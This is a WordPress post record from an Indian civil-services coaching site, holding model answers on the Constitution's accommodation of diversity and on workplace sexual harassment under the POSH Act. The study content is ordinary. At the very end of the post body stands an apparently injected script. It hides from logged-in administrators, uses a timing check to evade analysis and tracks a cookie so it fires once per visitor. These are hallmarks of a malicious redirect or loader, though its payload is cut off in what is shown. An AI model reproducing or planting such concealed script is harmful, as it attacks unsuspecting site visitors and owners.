{"id":2792,"date":"2025-11-27T04:01:03","date_gmt":"2025-11-27T04:01:03","guid":{"rendered":"https:\/\/iasquest.com\/?p=2792"},"modified":"2026-02-11T18:46:26","modified_gmt":"2026-02-11T18:46:26","slug":"the-indian-constitution-went-beyond-western-notions-sexual-harassment-in-workplaces","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/the-indian-constitution-went-beyond-western-notions-sexual-harassment-in-workplaces\/","title":{"rendered":"The Indian Constitution went beyond Western notions &amp; Sexual harassment in workplaces"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#fa0000\"><strong>1. The endurance of the Indian Constitution lies in its ability to accommodate diversity while pursuing social transformation.\u201d Evaluate this statement with suitable examples.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#82f1bf\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 II: Constitutional features and significant provisions. Comparison of Indian constitutional scheme with other countries<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>IN NEWS:<\/strong> Indian Constitution went beyond Western notions. This is why it has endured<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">The Indian Constitution is both a <em>liberal<\/em> and <em>transformative<\/em> document. It protects individual rights, recognises group identities, and simultaneously mandates the State to reform unequal social structures. This dual character explains its longevity and relevance in a highly diverse and unequal society.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>1. Accommodation of Social, Cultural and Religious Diversity<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">The Constitution acknowledges India\u2019s plural character through:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>(a) Fundamental Rights Protecting Diversity<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-7\">\n<li><strong>Article 25\u201328<\/strong>: Freedom of religion; protection of religious practices.<\/li>\n\n\n\n<li><strong>Article 29\u201330<\/strong>: Cultural and educational rights of minorities.<\/li>\n\n\n\n<li><strong>Article 371 (A\u2013J)<\/strong>: Special provisions for North-Eastern states, protecting tribal customs and local governance.<\/li>\n\n\n\n<li><strong>Sixth Schedule<\/strong>: Autonomous District Councils for tribal-majority areas.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>(b) Linguistic &amp; Federal Accommodation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-9\">\n<li><strong>Reorganisation of states on linguistic lines (1956).<\/strong><\/li>\n\n\n\n<li><strong>Three-language formula, recognition of 22 scheduled languages (8th Schedule).<\/strong><\/li>\n\n\n\n<li><strong>Co-operative<\/strong> federalism and asymmetric federalism (e.g., J&amp;K earlier, NE states now).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>2. Pursuit of Social Transformation<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\">The Constitution goes beyond recognition of diversity; it actively aims to transform society:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\">(a) Substantive Equality and Social Justice<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li><strong>Article 15(3), 15(4): Special provisions for women, SCs, STs.<\/strong><\/li>\n\n\n\n<li><strong>Article 16(4): Reservation in public services.<\/strong><\/li>\n\n\n\n<li><strong>Article 17: Abolition of untouchability.<\/strong><\/li>\n\n\n\n<li><strong>Article 46<\/strong>: Promotion of educational and economic interests of SCs\/STs.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>(b) Transformative Governance through DPSPs<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li><strong>Reduction of inequalities (Art. 38).<\/strong><\/li>\n\n\n\n<li><strong>Right t<\/strong>o adequate livelihood, fair wages, social welfare (Art. 39).<\/li>\n\n\n\n<li><strong>Promotion<\/strong> of cottage industries, rural development, environment protection.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>(c) Amendments enabling social reform<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>73rd &amp; <strong>74th Amendments: Grassroots democracy, women\u2019s reservations.<\/strong><\/li>\n\n\n\n<li><strong>86th Amendment: Right to Education.<\/strong><\/li>\n\n\n\n<li><strong>103rd Amendment<\/strong>: EWS reservations (social justice beyond caste).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>3. Balance Between Diversity &amp; Transformation: Why It Endures<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>(a) Flexibility + Stability<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li>Over <strong>100 constitutional amendments show adaptability.<\/strong><\/li>\n\n\n\n<li><strong>Yet<\/strong> the basic structure doctrine ensures stability.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>(b) Inclusive Nation-Building<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li><strong>Federal accommodation reduces separatist tendencies.<\/strong><\/li>\n\n\n\n<li><strong>Minori<\/strong>ty protections maintain confidence in a diverse democracy.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>(c) Transformative responses to social change<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-24\">\n<li><strong>Courts have expanded rights: privacy, LGBTQ+ rights, environmental jurisprudence.<\/strong><\/li>\n\n\n\n<li><strong>Legis<\/strong>lature and judiciary continuously reinterpret constitutional morality.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">The Constitution\u2019s endurance lies in its ability to harmonise <em>diversity<\/em> with <em>social transformation<\/em>. It not only protects India\u2019s pluralism but also enables progressive reforms to build a more equal society. This unique balance is rare in Western constitutional traditions and remains the source of its legitimacy and longevity.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#82f1bf\"><tbody><tr><td><strong>PYQ REFERENCE (UPSC 2019)<\/strong> <br>Q. Do you think the Constitution of India does not accept the principle of strict separation of powers rather it is based on the principle of \u2018checks and balances\u2019?<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-26 wp-block-paragraph\" style=\"color:#0130fe\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/opinion\/columns\/indian-constitution-went-beyond-western-notions-this-is-why-it-has-endured-10386022\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/opinion\/columns\/indian-constitution-went-beyond-western-notions-this-is-why-it-has-endured-10386022\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-27 wp-block-paragraph\" style=\"color:#f70000\"><strong>2. Addressing sexual harassment is not just a legal issue but a societal responsibility.\u201d Discuss the role of informal networks, social awareness, and institutional accountability in ensuring safe workplaces for women.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 IV: Laws, rules, regulations and conscience as sources of ethical guidance<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>IN NEWS:<\/strong> A landmark law in 2013, it needs a spine in 2025<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">Sexual harassment in workplaces is a violation of human rights and dignity, recognized legally under the <strong>POSH Act, 2013<\/strong>. However, laws alone cannot eliminate harassment; social attitudes, power dynamics, and institutional culture play an equally important role. Addressing harassment requires <strong>collective societal effort<\/strong>, combining legal frameworks, institutional mechanisms, and social accountability.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>1. Role of Informal Networks<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>Women often rely on <strong>peer networks<\/strong> to share experiences, warn about unsafe individuals, or provide emotional support.<\/li>\n\n\n\n<li>Such networks act as <strong>early warning systems<\/strong>, helping prevent repeat offences.\n<ul class=\"wp-block-list\">\n<li>Example: WhatsApp\/Telegram groups or alumni networks in colleges that exchange information on unsafe behavior.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Limitations: Informal networks cannot provide legal redress, but they complement formal mechanisms.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>2. Role of Social Awareness<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-33\">\n<li>Awareness<strong> campaigns<\/strong> at workplaces and educational institutions promote understanding of consent, harassment, and rights.<\/li>\n\n\n\n<li>Training<strong> programs<\/strong> for men and women help reduce power-based exploitation and normalize reporting.<\/li>\n\n\n\n<li>Changing<strong> societal attitudes<\/strong>: Addressing victim-blaming, gender stereotypes, and hierarchical exploitation is crucial.<\/li>\n\n\n\n<li>Encourages employees to <strong>report incidents without fear<\/strong>, enhancing the deterrent effect.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>3. Role of Institutional Accountability<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-35\">\n<li>Internal Complaints Committees (ICCs) under the POSH Act must be well-trained, impartial, and responsive.<\/li>\n\n\n\n<li>Institutions should adopt clear SOPs, timely grievance redressal, and protection against retaliation.<\/li>\n\n\n\n<li>Auditing and monitoring: Regular reporting and inspections ensure compliance.<\/li>\n\n\n\n<li>Integration with inter-institutional mechanisms can track repeat offenders across campuses or organizations.<\/li>\n\n\n\n<li>Digital evidence handling and anonymized feedback mechanisms strengthen accountability.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>4. <\/strong>Interconnected<strong> Approach<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-37\">\n<li>Legal framework, informal networks, social awareness, and institutional accountability must operate in synergy.<\/li>\n\n\n\n<li>Societal responsibility: Family, community, media, and NGOs reinforce norms of respect and zero tolerance for harassment.<\/li>\n\n\n\n<li>Encourages <strong>proactive prevention<\/strong>, not just reactive redressal.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">Sexual harassment is <strong>not merely a legal issue<\/strong>; it reflects deeper social and institutional dynamics. Safe workplaces require <strong>a multi-pronged approach<\/strong>: strong laws, vigilant institutions, social awareness, and active informal networks.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">Only when <strong>law, society, and institutions<\/strong> act together can workplaces be truly safe, empowering women and promoting gender equality.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (UPSC 2014)<\/strong> <br>Q. We are witnessing increasing instances of sexual violence against women in the country. Despite existing legal provisions against it, the number of such incidences is on the rise. Suggest some innovative measures to tackle this menace.\u00a0\u00a0 \u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-40 wp-block-paragraph\" style=\"color:#0642f6\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/a-landmark-law-in-2013-it-needs-a-spine-in-2025\/article70322970.ece#:~:text=The%20POSH%20Act%20was%20a,or%20on%20the%20committee&#039;s%20discretion\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/op-ed\/a-landmark-law-in-2013-it-needs-a-spine-in-2025\/article70322970.ece#:~:text=The%20POSH%20Act%20was%20a,or%20on%20the%20committee&#8217;s%20discretion<\/strong><\/a><strong>.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function 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